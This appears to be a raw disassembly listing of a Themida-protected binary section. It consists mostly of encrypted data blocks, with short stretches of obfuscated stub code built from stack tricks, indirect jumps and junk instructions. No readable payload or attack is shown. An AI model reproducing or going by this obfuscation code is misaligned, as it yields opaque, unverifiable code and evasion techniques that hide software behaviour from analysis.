		dd 0D1BEB678h, 31F0EDD8h, 68E35E15h, 5F76714Ch,	69B07B9Eh
		dd 83BEFA5Bh, 22E6EDCAh, 4965E05Bh, 59A0F1B3h, 0B9767461h
		dd 0E7DF7A3Eh, 28F7021Eh, 69D62067h, 8CFC85Bh, 0D671C641h
		dd 0CD1EEEDCh, 6F033A2Ah, 2FF1D8F4h, 0C857B0DEh, 34CFAFF5h
		dd 61000000h, 0D9F5BEB6h, 274300FEh, 579EEF71h,	64D2965Fh
		dd 0DDD0BAB6h, 1233E9C0h, 0C6D1ED68h, 156A2B27h, 69213458h
		dd 2778365Bh, 0F5BAFEF9h, 128AFh, 0B6BA0000h, 1DCF8BBh
		dd 0CD294504h, 7C77BE0Fh, 8B2AF5B9h, 0FCB3CF8Eh, 7150E8A7h
		dd 0B44BE1A2h, 0FA756177h, 4304D3DEh, 0A2984BC4h, 22E9A6A4h
		dd 0BAB752A7h, 0CD6C37FBh, 1CB70CD5h, 4744601Fh, 0A2984BC2h
		dd 85FC4DCFh, 0E2AE9E6h, 6A670257h, 4FCA8B87h, 0B6C0DC80h
		dd 3CB507CCh, 8F8C27E7h, 0DCD9B4D0h, 8E0C011Dh,	3AF9F63Dh
		dd 1803F476h, 5523B605h, 0B5000001h, 4C1BA692h,	0B05DBC7Dh
		dd 1F1D5B69h, 81209B62h, 0EDA4C089h, 0B00CCD98h, 706177E2h
		dd 898726F5h, 0A4F9B0CCh, 0EADD818Ch, 0C2D8F6E2h, 201DB80Dh
		dd 5029D61h, 0F2D631F2h, 0EF6AA298h, 807D5874h,	5B53F2C1h
		dd 0F0BF7692h, 98F2E82Fh, 98ED68A2h, 0BC0D8B80h, 0F5B97875h
		dd 50A8473h, 2EA2B6h, 92340000h, 884918A9h, 0DB69B021h
		dd 4D4A66E1h, 0DB69B0CAh, 83EE3FBDh, 9B3A09B8h,	7BEDAA3h
		dd 0C326E7B2h, 7F5B69B0h, 0C5F64004h, 84000000h, 4C1BA692h
		dd 77B0D98Bh, 809C1761h, 0C4DBD675h, 984F8403h,	46C13CA2h
		dd 0E3A4732Ah, 0A2984FA4h, 0B14CA11Ch, 9631F5B4h, 0B3BEDA99h
		dd 3B571814h, 29A46360h, 4EF717D4h, 20A2A298h, 0BCB958CFh
		dd 906E1FDh, 0DF7ACF4Ah, 0A05F23E2h, 8B5A2998h,	4E9CFBBCh
		dd 0B934A298h, 1C9EA764h, 7746988Eh, 0FE1ADDD8h, 7B038647h
		dd 0F6B7A8B2h, 0A8B27B93h, 4EEDB42Fh, 0BA718D56h, 8327EA3Fh
		dd 0B01F1B13h, 49D091BBh, 9A8B28Bh, 0C998138Eh,	186D2E2Ah
		dd 69282500h, 8F0ACB9Ah, 43A8B28Bh, 61AF24C8h, 0D843A3BBh
		dd 510F6B83h, 1EA39500h, 0D644AB4Fh, 1E7DE950h,	0A2BE877Fh
		dd 0ACB96EBh, 92A41F71h, 47236B1h, 93F6B786h, 2F5B69B0h
		dd 581915B4h, 0CDF44403h, 0E2243DFEh, 69E4617Fh, 0B675724Dh
		dd 8C4B48E7h, 0A464B970h, 314D0C09h, 9F6D6634h,	78C98B2Bh
		dd 0B1753431h, 3E5A1916h, 0B0FD8F33h, 9D2A6809h, 0EEB3AD48h
		dd 67B876D2h, 8B524CF0h, 2A60F55Eh, 7E3D3AD5h, 3A221FBAh
		dd 13BCFDB0h, 642B2467h, 0D09F6EE9h, 0B556880Fh, 78CD48D9h
		dd 3D660h, 33640000h, 0F4BFB681h, 4100FDD8h, 8F4C4A25h
		dd 0D89F9873h, 20E9E1BCh, 68312904h, 0B277714Ch, 0FDC0BB96h
		dd 490A06E1h, 8956692Dh, 4B951E6h, 1000000h, 0EE8359CEh
		dd 24348704h, 5629685Ch, 1C890000h, 4EC8324h, 52240C89h
		dd 553F6968h, 0DAF75A69h, 13FFCA81h, 0BD557AD0h, 2CE34D0Fh
		dd 49F4ED81h, 0E581450Ch, 2A8C6643h, 0C581D5F7h, 92A26880h
		dd 815DEA29h, 0CA5F3CF2h, 5AD38988h, 240C8B54h,	4C481h
		dd 0BA520000h, 8, 0B951CA01h, 0
; ---------------------------------------------------------------------------
		add	ecx, edx
		mov	[ecx], ebx
		pop	ecx
		pop	edx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		dd 0A7ACF1CFh, 0EF4114AEh, 0B801BA31h, 6163732h, 0E0FFC503h
		dd 7F647F0Fh, 772DE5E3h, 35D4143h, 33C4D7F5h, 3B6A59A1h
		dd 14F5E79Bh, 48BFBD1h,	3D82404Ch, 7FBE35A8h, 2D82011h
		dd 117FC408h, 58536F3Eh, 5C1D192Ah, 1D67B7C0h, 5798BFC6h
		dd 3A4AD66h, 186852F9h,	1F3624A0h, 4D91A03h, 6734294Bh
		dd 48C30238h, 7D671BFAh, 6C22DCAh, 7B477126h, 1A7E856Eh
		dd 6CA94D8Eh, 24EE7251h, 6AB1139Fh, 5E8h, 0DABD300h, 13E85E90h
		dd 64000000h, 0B2E598B6h, 8551B4D0h, 0CC484ECCh, 4C5AD703h
		dd 0CE8DDEBh, 0B0000000h, 6DE89007h, 5A8C8284h,	0B53AF073h
		dd 585F5F74h, 3CC081FCh, 66000066h, 0D5BBF18Bh,	8116E340h
		dd 0E359B5F3h, 0F108B16h, 84h, 0FAC28100h, 8172F1AEh, 2306E1F2h
		dd 11E966h, 25E60000h, 417ADE66h, 0B1465295h, 0D5911DBCh
		dd 81961D0Bh, 0AA675BEAh, 0B875B91Eh, 515273D6h, 0DF27C981h
		dd 8F59027Dh, 1E88300h,	11E9h, 0DEB1C00h, 0CC9BF650h, 43C8384h
		dd 23CE08C1h, 4848ABE5h, 0B860F48h, 0F000000h, 58Eh, 0D9816600h
		dd 0EB835CFBh, 8A850F01h, 0B1FFFFFFh, 10EB17h, 3 dup(0)
		dd 8B000000h, 0A5BE66C0h, 21BD8376h, 60E0Eh, 0BD830975h
		dd 60E0FC5h, 50197400h,	0B8C08B53h, 42Dh, 1D9D8589h, 9D8D060Eh
		dd 610A86Ch, 585BD3FFh,	0FC5BD83h, 7400060Eh, 0B8535017h
		dd 42Dh, 1D9D8589h, 9D8D060Eh, 610A55Bh, 585BD3FFh, 55006AFCh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 1DF288FCh, 18B5BD89h, 14E9060Eh, 93000000h, 3588B510h
		dd 77C54B2Eh, 0CDFB92A3h, 2BC28CAAh, 8BA234CCh,	0F1B58BC0h
		dd 8B060E0Dh, 0E206D8Dh, 0ACE8106h, 8343D6BDh, 840F00F9h
		dd 9Ah,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah
		dd 0DCC35747h, 0F96B162Bh, 0BD896033h, 60E1E55h, 2C3D8B64h
		dd 0E9000000h, 0Bh, 0F99B098Eh,	4417E383h, 0B57BF55h, 53840FFFh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 663C356h, 0F3F8B99h, 0F28BD2BFh
		dd 6AC032h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 731B2C3h,	61A6991Bh, 1840Fh, 0F3FC0000h
		dd 4935F9AAh, 6A535041h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 4775C352h, 5A6FFBE4h
		dd 0F3E53B4h, 181h, 85C6F500h, 60E2F11h, 52006A47h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 8B173E3Fh, 0B4BE66D0h, 4E8CDh, 882C0000h, 5060DCD6h
		dd 0B70701BBh, 0BA665912h, 50614076h, 0CE9h, 24612F00h
		dd 14E392DBh, 27192C24h, 24448BC4h, 0F525004h, 11E831h
		dd 9BDD0000h, 2344656Dh, 7F5403DBh, 0DA42A367h,	60BA2A78h
		dd 585A5A61h, 0F38B008Bh, 4244489h, 0D3C1C2BEh,	8D895851h
		dd 60E24F9h, 0C3DB5FFh,	8589060Eh, 60E240Dh, 6F74858Dh
		dd 6A0611h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 6BA8B6C3h, 0E887DA5Bh, 31899501h,	0D0FF060Eh
		dd 8D1B509h, 8589060Eh,	60E0389h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 5BC35141h, 0B58BD403h, 60E1B99h
		dd 4B5B503h, 85C6060Eh,	60E2F11h, 0E2816653h, 0EE68D935h
		dd 666C0A10h, 81D3C2BEh, 5A0E2404h, 9D891C8Eh, 60E1EDDh
		dd 0C3DB5FFh, 6A060Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 382D0FC3h, 15D3DFCh, 892894EDh
		dd 0E331D8Dh, 74858D06h, 8906116Fh, 0E00D9BDh, 6AD0FF06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0E6CAC350h, 88467B3Bh, 8D2960ECh,	60E2199h
		dd 858D61F9h, 6113903h,	0AE8h, 38E39600h, 0E1405D22h, 0F126661h
		dd 48Fh, 60BA6600h, 81665A04h, 89E3E5CAh, 0E202985h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 758875EBh, 9CD5BE17h, 206A4101h, 95FFFF6Ah, 60E2029h
		dd 50414935h, 6585C753h, 1060E34h, 0C7000000h, 0E0E4985h
		dd 6, 89D78B00h, 0E159585h, 6840F06h, 89000000h, 0E17D99Dh
		dd 5858B06h, 53060E35h,	1F219D89h, 645A060Eh, 0A3h, 0EE816600h
		dd 0BD832D51h, 60E0935h, 80840F00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 72AAC350h, 358133C8h, 683C47FDh, 0A4E68166h,	0A1858BE3h
		dd 6A060E15h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 8F2FC357h, 0E08B0F92h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0C4C35747h, 958BAADAh
		dd 60E1675h, 0F2BF0F60h, 865858Bh, 8361060Eh, 0E1365BDh
		dd 850F0006h, 3B2h, 7198D89h, 85C6060Eh, 60E2F11h, 5AF55356h
		dd 0A594D368h, 5E1CBAD9h, 34816D91h, 60A40C24h,	298D2970h
		dd 89060E14h, 0E03BDBDh, 3DB5FF06h, 51060E0Ch, 314CEBAh
		dd 858D5E33h, 6116F74h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 99C35242h, 0B73FD324h, 6AD0FF05h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 2B39C353h, 941C479Dh, 768102D9h, 45D29BAh, 12E948h
		dd 0C6A40000h, 0DDCB47D2h, 0C1F97900h, 2ADD052Bh, 0D6B4AFEDh
		dd 11E850h, 77170000h, 0E90BA105h, 61C65535h, 0DC97241Dh
		dd 5ED5C25Eh, 9240489h,	0E164D9Dh, 198D8D06h, 8B060E08h
		dd 61BA50D3h, 896D04C7h, 890F240Ch, 2, 46AF08Bh, 68D18B66h
		dd 262D3BEBh, 0EB243481h, 0E9262D2Bh, 0Ch, 51E58183h, 0FBAF7AA4h
		dd 0B2687808h, 305B5FFh, 6A060Eh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 558C73C3h, 11E9BE57h
		dd 42000000h, 0BC1AEC7Dh, 0DAA80F3Ch, 0C42D2356h, 653726E5h
		dd 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0BD8B5EC3h, 60E0305h, 159D9589h, 9D89060Eh
		dd 60E3329h, 513C7F03h,	1CF5BD29h, 815E060Eh, 0F8C7h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 20E5D647h, 9D89332Dh, 60E2469h, 202447C7h, 66600000h
		dd 832B83BAh, 163913BDh, 840F0006h, 168h, 275ABE66h, 0C783D08Ah
		dd 8E928h, 0C7E30000h, 0A751E660h, 7C7063Dh, 64696A2Eh
		dd 2505B529h, 47C7060Eh, 61746104h, 5EF95300h, 391B858Bh
		dd 958B0616h, 60E1359h,	6A0C4789h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0D9C4C353h
		dd 345DB58Bh, 858B060Eh, 616391Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0F8C35242h,	10E969h, 80F10000h
		dd 93E39F1Ch, 46C84F54h, 0CDC1438Fh, 85896A08h,	60E2955h
		dd 0F084789h, 683h, 55950300h, 83060E07h, 0DA8128C7h, 0CE0B014h
		dd 8E9h, 27530B00h, 42C7652Eh, 2E07C796h, 8B6E6F63h, 0E21AD95h
		dd 447C706h, 676966h, 0FDD9D681h, 958B44B4h, 60E076Dh
		dd 3917858Bh, 6A0616h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0A7CDA6C3h, 335250A9h, 66919613h
		dd 4789F18Bh, 858BF80Ch, 6163913h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 4FC35242h, 0F4747D1Ah, 9B046E7Ch
		dd 0F931BA66h, 6A084789h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0A9A6C353h,	9D311E61h
		dd 60E23CDh, 0F2816658h, 8D8D0017h, 60E21B1h, 1885B58Bh
		dd 5091060Eh, 66525052h, 0F47B3BAh, 5A616031h, 66310F58h
		dd 585AF08Bh, 0F525050h, 69BE6631h, 91585A74h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 4CC35141h, 3CA38994h
		dd 0CE28024h, 819B5FFh,	0B589060Eh, 60E3461h, 0F34C7768h
		dd 81BE66D9h, 2404811Eh, 260CC389h, 21ED958Bh, 0B5FF060Eh
		dd 60E0305h, 4D59533h, 0D0FF060Eh, 308DBD89h, 0B8060Eh
		dd 0B000000h, 1F840FC0h, 81000000h, 0B7C996CEh
		dd 0DA81665Ch, 0B5FF0855h, 60E0435h, 95FF5A52h,	60E09B9h
		dd 70D8D89h, 0C08B060Eh, 5E9h, 2621600h, 0BD832FFCh, 60E0E21h
		dd 83097500h, 0E0FC5BDh, 19740006h, 0C08B5350h,	42DB8h
		dd 0C5858900h, 8D060E15h, 10A8D39Dh, 5BD3FF06h,	0C5BD8358h
		dd 60E0Fh, 53501774h, 42DB8h, 0C5858900h, 8D060E15h, 10A5749Dh
		dd 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 8BD48A94h, 0C68166C0h, 0C08BAB86h
		dd 427C8D8Dh, 6A0616h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 8CB0A6C3h, 9E7F7560h, 950118BAh
		dd 60E19F9h, 2FC58D89h,	0E680060Eh, 8185C7A3h, 8060E08h
		dd 3100006Ch, 0E339D8Dh, 0C7F08A06h, 0E28D985h,	6, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 60605BBAh, 8E0Fh, 8B0F0000h,	0
		dd 61DBB161h, 0FF58F852h, 0E0801B5h, 8E806h, 59A10000h
		dd 5C14FB1Bh, 8E9F17Bh,	0AF000000h, 0F7528C9Ah,	5E5633A7h
		dd 0DC9BD01h, 95FF060Eh, 60E09B9h, 38F0Fh, 0B70F0000h
		dd 0FF006AF0h, 0E0F4595h, 0EBC08B06h, 9C40420Eh, 1F73F78Eh
		dd 2503FAA3h, 0E9FDF871h, 34h, 2910FB6Dh, 0Ch dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5CDD90
; ---------------------------------------------------------------------------
		db 83h,	8Ch, 0C1h
		dd 0A56662FDh, 884B46E1h, 6A2F29C4h, 4A130BA6h,	7CE95B86h
		dd 5CF7BB84h, 3DD89C63h, 23BE823Fh, 57A36726h, 0F24CCB8Ch
		dd 9B045D7Fh, 0FAB9B6EDh, 420B03DEh, 1614B37Eh,	6C690459h
		dd 0B9B691ADh, 703DEFAh, 85942A46h, 0B400EAE6h,	8302C00Bh
		dd 0E9A0BC37h, 7EC51694h, 63FEC281h, 49E4A865h,	97728E4Bh
		dd 5FBBD79Eh, 0B0950A1h, 20BF8A4Eh, 8C435F28h, 0E09F9C37h
		dd 0B245C7C4h, 9AA55B69h, 0D948CDF6h, 0F3484F13h, 1F62475h
		dd 26AFF57Eh, 3ACE2E82h, 459A1965h, 7C79h, 0B9B60B00h
		dd 938C2BFAh, 0A4F9B0CCh, 0B00A8F8Ch, 0F4F25B69h, 42401B37h
		dd 28A36661h, 83D4560Ch, 8C303B60h, 0F4EE3CDDh,	4FB18B2Fh
		dd 0C21391E6h, 0F57D6394h, 1C3AFh, 86550000h, 0D72CE9E7h
		dd 637F403Ch, 0D6BFB958h, 4A9F1AD9h, 0D6F2B3AFh, 0DC3BFCCBh
		dd 745B69B0h, 0F09A4F9h, 0D6982E4Ah, 7E3F0E85h,	5B69B01Bh
		dd 4CE73CB7h, 30CB8F50h, 1A57433h, 6F942288h, 8F4FA467h
		dd 0F5BEB621h, 4102FED9h, 0C6653025h, 34B207CCh, 0DBA49CE3h
		dd 0AE736D0Ch, 0B0FB1EDFh, 0DC575B69h, 2F2CC787h, 7E795470h
		dd 0F6B89FBBh, 905F2EA5h, 69B048CFh, 0CC8D085Bh, 5B69B04Dh
		dd 0B3358A05h, 0AFF64A54h, 92D2h, 0BEB66400h, 0A7629BCCh
		dd 1691115Ch, 3D241FFAh, 5B66823Fh, 69207F9Ah, 0DD58D35Bh
		dd 0EEB04662h, 7682269Dh, 7A182B0h, 397E32D6h, 61532C8Ah
		dd 0B079710Ch, 824942E1h, 9A5AAF66h, 221A07FFh,	0B863D59h
		dd 551A14EFh, 2BEAE786h, 0C8D7BED6h, 62D138F9h,	6A945B69h
		dd 26A476AFh, 0F39712D9h, 0D695A289h, 38B60BD6h, 0F44EB9E7h
		dd 3ED8AFF5h, 6A000000h, 0D9F5BEB6h, 274300FEh,	708C534Ch
		dd 0B9D59C95h, 0C620E3DEh, 1690B304h, 4FC4394h,	0B609773Bh
		dd 8B2AF9BAh, 0F7AECA93h, 0F8D8AA2h, 6B5B69B0h,	0C92E5CADh
		dd 5DAFF64Bh, 1, 0C0E286EFh, 0A762CC81h, 8007C897h, 405B6996h
		dd 0DAD570C5h, 2320FB17h, 47F4840h, 7DCE8CE8h, 0B4783B36h
		dd 0AF7E43F5h, 834641E0h, 9E5BB067h, 61779296h,	0C09BB732h
		dd 0A54004C3h, 761AE9A8h, 0CC83FE77h, 0E23BD8A0h, 0EF75BA47h
		dd 0A071F74h, 0A29B458Dh, 78BF1092h, 5DF8BC7Bh,	0AA85A160h
		dd 0DDD2EEADh, 0CAC70E5Fh, 5D2CE9E7h, 9B457D9Ch, 0DF5AD5A2h
		dd 575E991Bh, 2AC9B603h, 99506C2Fh, 12A7844h, 920A0000h
		dd 8B4C1BA6h, 6177E231h, 305718E7h, 90A2987Eh, 5EFDC015h
		dd 0CF86A261h, 605D3854h, 0A0BC857Dh, 8D4E4AE9h, 0B6B34E12h
		dd 2CD0DBF7h, 2FF0710Fh, 0A29840E8h, 0AC49ED68h, 0F18CE15Fh
		dd 3E1935F4h, 87627E45h, 0E3AFCB8Ah, 38F11465h,	252269BAh
		dd 7C89766h, 0A2986F80h, 0B070C540h, 46CC92Eh, 375DB6h
		dd 92EF0000h, 884918A9h, 0DB69B021h, 4D4A66E1h,	0DB69B0CAh
		dd 77EE3FBDh, 704064D3h, 8ADF0FAAh, 825170CBh, 0A26E7E3h
		dd 7233FE53h, 5B693F37h, 428C50CBh, 8Ch, 1BA692D0h, 5DBC7D4Ch
		dd 0F55B69B0h, 0AFEAAB7Ah, 235B69B0h, 0C78853A8h, 6177B095h
		dd 830CAF53h, 9BD6BA18h, 98E6BFDAh, 1D9813A2h, 0AEAB86A2h
		dd 93902BEFh, 0C6105D4h, 69EB18A1h, 223E01FCh, 839BF06Bh
		dd 98580486h, 3E8F11A2h, 773BFAF7h, 0FD1CDDACh,	4DA29858h
		dd 98580D8Ch, 834AC5A2h, 44F4B308h, 5AEDAE7Dh, 96988E1Ah
		dd 2724FF1Bh, 32F04C68h, 0FFC276E1h, 54D86F30h,	411092A4h
		dd 0ACD31980h, 0E93EB9B6h, 79E7AB26h, 4C1BA692h, 7FF2FC8Bh
		dd 0FA882C61h, 4D100B6Eh, 397028A9h, 0AAFF7A3Fh, 75506CE7h
		dd 65A46578h, 0D5A2805Fh, 805FF514h, 0BD24DA2h,	36F3F190h
		dd 24E8631Ah, 0B1CD8C89h, 9983BDB4h, 9FF0B273h,	0D89C5B58h
		dd 6581403Dh, 0AFCB908Ah, 0FD449553h, 0E27D4100h, 800A26E5h
		dd 3, 0B681330Eh, 0FDD8F4BFh, 4A254100h, 98738F4Ch, 0E1BCD89Fh
		dd 290420E9h, 714C6831h, 0BB96B277h, 6E1FDC0h, 692D490Ah
		dd 2A5C68h, 24148900h, 81E78957h, 4C7h,	4EF8100h, 87000000h
		dd 895C243Ch, 89532434h, 4C381E3h, 83000000h, 1C8704EBh
		dd 4895C24h, 0AF685224h, 5A448B64h, 0A1A77CBEh,	5AD6294Ah
		dd 24048B54h, 8104C483h, 4ECh, 240C8900h, 4889F189h, 48B5908h
		dd 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h, 5E2434FFh
		dd 4C481h, 11E90000h, 33FFF837h, 56C488AEh
; ---------------------------------------------------------------------------


loc_5CDD90:				; CODE XREF: Themida_:005CD8C4j
		mov	eax, 6164714h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 57h,	0D4h, 63h
		dd 97CF1161h, 0F271BD66h, 97C29265h, 0E4EA4540h, 45CE2646h
		dd 327C9760h, 4660FE17h, 3916650Eh, 7E879h, 0E05F0000h
		dd 9C7C2291h, 68E0FEAh,	81000000h, 726764E9h, 0CA8B5B27h
		dd 64A8C381h, 16BE0000h, 6826C09Fh, 18F4h, 2830Fh, 91B10000h
		dd 0E881665Fh, 33FF7682h, 84C3B866h, 0C18B665Ah, 4C6EA81h
		dd 8B66567Eh, 97C281CFh, 8B4F545Ch, 9EEA81C2h, 6055A000h
		dd 60CFB70Fh, 5E9h, 0D9CE5E00h,	8B0F1934h, 0
; ---------------------------------------------------------------------------
		popa
		popa
		mov	[ebx], edx
		call	near ptr loc_5CDE3C+3
		les	ebp, [ebp+2F4EDD01h]
		sahf


loc_5CDE3C:				; CODE XREF: Themida_:005CDE30p
		sub	ah, [eax-147CA6B6h]
		add	al, 8Bh
		icebp
		sub	edi, 1
		jnz	loc_5CDE80
		jmp	loc_5CDE67
; ---------------------------------------------------------------------------
		xchg	ecx, [edx+4A92E00Ah]
		mov	al, 0A0h
		push	eax
		retn
; ---------------------------------------------------------------------------
		dd 74D74DC1h
		db 0E6h, 0BDh, 41h
; ---------------------------------------------------------------------------


loc_5CDE67:				; CODE XREF: Themida_:005CDE51j
		jmp	loc_5CDE9E
; ---------------------------------------------------------------------------
		dd 1A867437h, 0B4E3F2FEh, 12185F7Ah, 0BAFC7FA3h, 0E05C22Eh
; ---------------------------------------------------------------------------


loc_5CDE80:				; CODE XREF: Themida_:005CDE4Bj
		jnp	loc_5CDE89
		movsx	eax, si


loc_5CDE89:				; CODE XREF: Themida_:loc_5CDE80j
		jmp	near ptr dword_5CDD9C+5Ah
; ---------------------------------------------------------------------------
		dw 2279h
		dd 2AAEA514h, 72A08210h, 0BB5D9F36h
		db 0B9h, 4Ah
; ---------------------------------------------------------------------------


loc_5CDE9E:				; CODE XREF: Themida_:loc_5CDE67j
		lea	ecx, [ebp+6164937h]
		push	edi
		mov	esi, ecx
		pop	edi
		mov	[ebp+60E2FC5h],	ecx
		jmp	loc_5CDEC5
; ---------------------------------------------------------------------------
		db 1Ah
		dd 81A906F3h, 0A6DF0AD3h, 0F3BC1Fh, 77B368BFh
		db 0B1h
; ---------------------------------------------------------------------------


loc_5CDEC5:				; CODE XREF: Themida_:005CDEAEj
		mov	dword ptr [ebp+60E0881h], 7000h
		sbb	edi, 3D3CF3F4h
		mov	dword ptr [ebp+60E28D9h], 0
		jmp	loc_5CDEEB
; ---------------------------------------------------------------------------
		dd 5408F7EDh
		db 62h,	48h, 0F0h
; ---------------------------------------------------------------------------


loc_5CDEEB:				; CODE XREF: Themida_:005CDEDFj
		push	ecx
		mov	[ebp+60E3461h],	esi
		pop	edi
		push	dword ptr [ebp+60E00D5h]
		movsx	edx, si
		call	dword ptr [ebp+60E09B9h]
		push	0
		push	ecx
		call	sub_5CDF0D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CDF0D	proc near		; CODE XREF: Themida_:005CDF05p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5CDF0D	endp

; ---------------------------------------------------------------------------
		mov	ebx, 400D5BC4h
		xor	[ebp-7A747347h], esp
		and	eax, 6A060E30h
		add	bh, bh
		xchg	eax, ebp
		inc	ebp
		femms
		push	es
		mov	eax, eax
		jmp	short loc_5CDFA3
; ---------------------------------------------------------------------------
		dd 0E1D66B75h, 595F011Fh, 4D80C8B9h, 0B57EC520h, 2E805396h
		dd 49ACF3A8h, 0E2FB7992h, 4FD60C4h, 3ADBCCE0h, 0B95100C5h
		dd 0F4022A90h, 58B9C9B2h, 7F3ED737h, 69FEB321h,	0C25789B0h
		dd 0A439FC54h, 0A352A0A2h, 0DD6E473Fh, 0F706A9C5h, 1D90C27Bh
		dd 98F5481Dh, 66FE26DAh, 0CF555421h, 0AEA7ACF1h, 31EF4114h
		dd 0D7AC01BAh
; ---------------------------------------------------------------------------
		pop	ebp
		jecxz	short loc_5CDFEC


loc_5CDFA3:				; CODE XREF: Themida_:005CDF36j
		jmp	short $+2
		jmp	loc_5CE31F
; ---------------------------------------------------------------------------
		dw 6D64h
; ---------------------------------------------------------------------------
		mov	ds:864743DEh, al
		retn	2C27h
; ---------------------------------------------------------------------------
		dd 100AA569h, 0F4EC874Bh, 883C672Bh, 0D89C655Dh, 0B97D443Dh
		dd 9F63201Eh, 84480704h, 6DAC6D38h, 0E55D7FF9h,	0BAB6CE7Ch
		dd 938B2AF9h, 0B4E6A8A1h, 0AB26B1F1h, 0FB9656h
; ---------------------------------------------------------------------------


loc_5CDFEC:				; CODE XREF: Themida_:005CDFA1j
		cmp	eax, 1FE4DE79h
		pop	ebx
		ror	al, 0FFh
		cmp	esi, [eax-34h]
		xchg	eax, esi
		push	esi
		cmpsd
		stosd
		jmp	far ptr	13AEh:320CE46h
; ---------------------------------------------------------------------------
		db 1Bh
		dd 0FAF38E52h, 0D6D46F33h, 0BA7B4A19h, 5B69105Fh, 632378F3h
		dd 480CCBC8h, 7F83868Bh, 0AAF34261h, 0F7D2EEADh, 0C56938FDh
		dd 0ED826C76h, 0B5CD2232h, 8C514BEAh, 3E2F09C8h, 82021A7Dh
		dd 0C03BB6A2h, 748830F1h, 0CD48989Ch, 2C51B4B1h, 4B0DA8B4h
		dd 0B02BCCFAh, 0EEFBBC18h, 8D000000h, 26F5BEB6h, 2AC98C87h
		dd 9C536F2Ch, 0D8A32F47h, 69B08417h, 0ADC9445Bh, 5216D5D2h
		dd 0DFFBBAB7h, 9A6958E0h, 77B3BFD9h, 7A961161h,	0C80F601Eh
		dd 0FFEFE8CBh, 0A2D348C7h, 0E15CD7A7h, 13AE521Dh, 96E91F0Eh
		dd 2E0AC91Eh, 2A25C493h, 0A6375213h, 108BA298h,	0B4754095h
		dd 9886D9A0h, 4716E560h, 8B480386h, 0EF44BFA8h,	3B04FCD7h
		dd 1BE4DC77h, 863B00FFh, 4B49E8B7h, 4D7C398Eh, 85A88B48h
		dd 0B187460Ah, 8D2CF3ECh, 8554CF92h, 331917B6h,	0CB30BC24h
		dd 698500ADh, 0E722E3B2h, 5BA88B9Dh, 7ECE8BE0h,	3A9295EDh
		dd 0D0C8A3BFh, 0B0A84307h, 6FCCCBE7h, 1BC28352h, 0C7B6BDADh
		dd 9E5B59F8h, 0BDADBADDh, 0FC9B16B6h, 2C641FEh,	472A9337h
		dd 0DB96A636h, 2AF3EB86h, 3AEDB75Bh, 464C11F9h,	976631F1h
		dd 0BD7BB3D6h, 3F940FB6h, 1BA692D1h, 0EFB2AD4Ch, 0FCC71CD3h
		dd 77B8E93Bh, 76FB9F61h, 0D8B2827Bh, 54CF92E7h,	948E2D38h
		dd 0E2DF7ACFh, 0BAB55423h, 0CF24DBF7h, 0DBEE9A0Fh, 0CBC86160h
		dd 0A298E848h, 0B0743330h, 44051815h, 0A298E8C5h, 6B87027Dh
		dd 0B6B09390h, 0A31ED5F1h, 4F3935D4h, 1F48993Ch, 0BDD95490h
		dd 0A76E6706h, 0C7453A52h, 4A322F76h, 0C5BE92B2h, 0BB7FFA6Fh
		dd 45CBE39h, 2268B6h, 92FA0000h, 0E3FEF7A6h, 69B0E722h
		dd 65E05B5Bh, 3E5A1BEAh, 926177B3h, 2320FB17h, 2156A064h
		dd 0E4000000h, 0DBF7BCB6h, 28200300h, 6E68435Fh, 0EFB32EA9h
